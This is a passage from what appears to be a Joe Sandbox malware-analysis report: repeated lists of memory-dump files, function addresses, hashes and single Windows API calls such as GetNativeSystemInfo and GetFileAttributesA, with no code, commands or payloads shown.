Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 4c5f2e725016e9fea58318fea6cd4d92bd845d02bd41cf007c1169e3d8578128
Instruction ID: cf2cadf6514bad5348f033d0e19dd997afcf659f1d9b1471e5d98571f09f9247
Opcode Fuzzy Hash: 4c5f2e725016e9fea58318fea6cd4d92bd845d02bd41cf007c1169e3d8578128
Instruction Fuzzy Hash: DB216A326212019BEF08AB2CEC8976CB7A5DB91310F208699E408A73D4C7759DE08A52

Function 00267D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00267ED3

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 53a7ee70ff152ef3fd94616ec800f29fe2baa1cb18c2df44620d4d14d983607b
Instruction ID: c1c50f5effb09fce78a7b97b241ec9234ebe43f4de758243f6d9be5091e65456
Opcode Fuzzy Hash: 53a7ee70ff152ef3fd94616ec800f29fe2baa1cb18c2df44620d4d14d983607b
Instruction Fuzzy Hash: A0E12370E202549BDB24BB28DC0B79D7A61AB46724F9446DCE4196B3C2DF354EF48BC2

Function 0029D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0029A813,00000001,00000364,00000006,000000FF,?,0029EE3F,?,00000004,00000000,?,?), ref: 0029D870

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4b4a871ee4e6cd02049cad32c604789c238b3e3d99c67edac1961671b2a6ee81
Instruction ID: eee306050124fcf5f20bff3d01421035062bfb5afca021dec4ac7b5a58044f6c
Opcode Fuzzy Hash: 4b4a871ee4e6cd02049cad32c604789c238b3e3d99c67edac1961671b2a6ee81
Instruction Fuzzy Hash: 36F0273667512666EF213E769C05B5B3759FF817B0B298021FC08A7193DA20EC33A6E0

Function 002687B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0026DA1D,?,?,?,?), ref: 002687B9

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2ca42c23af8d2f50a642ed00fa213facf7e784faf83a6a16ec153096a4b17142
Instruction ID: 49cce48cfaf1c3595f7d4be8a492838673f8155b08120524cc4aa2f122426901
Opcode Fuzzy Hash: 2ca42c23af8d2f50a642ed00fa213facf7e784faf83a6a16ec153096a4b17142
Instruction Fuzzy Hash: 49C08C2C03160149FD1D1D3C40999AC738949577A83F41BC8E5704B1E1CA357CA7A250

Function 002687B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0026DA1D,?,?,?,?), ref: 002687B9

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9b49620efd534fe7057b34e875c7c893cdc38b64e057dd4874ce34a1f1739962
Instruction ID: 60e204eedece5c5bed2d20cbccea7ec1d0a1d6e047e9b7769bbd044888ac4e3b
Opcode Fuzzy Hash: 9b49620efd534fe7057b34e875c7c893cdc38b64e057dd4874ce34a1f1739962
Instruction Fuzzy Hash: CCC08C3C0312018AFA1D5E3C809892872499A137283F00BDCE5314B1E1CB32E8A3C6A0

Function 0026B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0026B3C7

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
